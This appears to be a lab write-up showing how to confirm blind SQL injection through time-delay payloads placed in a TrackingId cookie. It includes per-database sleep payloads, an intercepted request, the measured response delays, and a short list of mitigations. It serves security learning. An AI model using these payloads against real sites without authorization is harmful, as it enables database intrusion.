Blind SQL Injection with Time Delays

Introduction

Blind SQL Injection is a technique where an attacker exploits a vulnerable SQL query without directly seeing the output. In this lab, we use time delays to confirm SQL injection in an application that processes a tracking cookie.

Understanding the Vulnerability

1. The application takes a TrackingId from the cookie and executes an SQL query.

2. The results are not shown, so we cannot see direct evidence of injection.

3. Since the query runs synchronously, introducing a time delay will confirm SQL execution.

Exploiting the Vulnerability

we inject a time delay function into the SQL query to check if it’s being executed. Common functions used for this:

PostgreSQL: pg_sleep(10)

MySQL: SLEEP(10)

SQL Sever: WAITFOR DELAY ‘00:00:10’

Oracle: dbms_pipe.receive_message((‘a’),10)

Steps to Perform

1. Capture the Request

   1. Use Burp Suite to intercept a request from the browser.

   2. Identify the TrackingId in the request headers:

      GET/ HTTP/1.1

      Host: vulnerable-website.com

      Cookie: TrackingId=xyz123

Before applying payload we got 622 millisec.

2. Inject the payload

Modify the TrackingId value to introduce a delay:

1. PostgreSQL: TrackingId=xyz123’ || (SELECT pg_sleep(10))--

2. MySQL: TrackingId=xyz123’ OR SLEEP(10)--

3. SQL Server: TrackingId=xyz123’; WAITFOR DELAY ‘00:00:10’--

3. Observe the Response

   1. If the server takes 10 seconds to respond, the injection is successful.

   2. If there is no delay, try another SQL functiion or different syntax.

After applying payload we got response as time delay with 10,408 millisec.

Mitigation

1. Use Prepared Statements to prevent direct execution of user input.

2. Implement Web Application Firewalls(WAFs) to detect and block SQLi attempts.

3. Restrict Database Permissions to minimize potential damage.

4. Sanitize and validate Input to reject unexpected input values.

Conclusion

In this lab, we exploited a blind SQL Injection Vulnerability by injecting a time delay to confirm SQL execution. This method is commonly used when query results or errors are not displayed.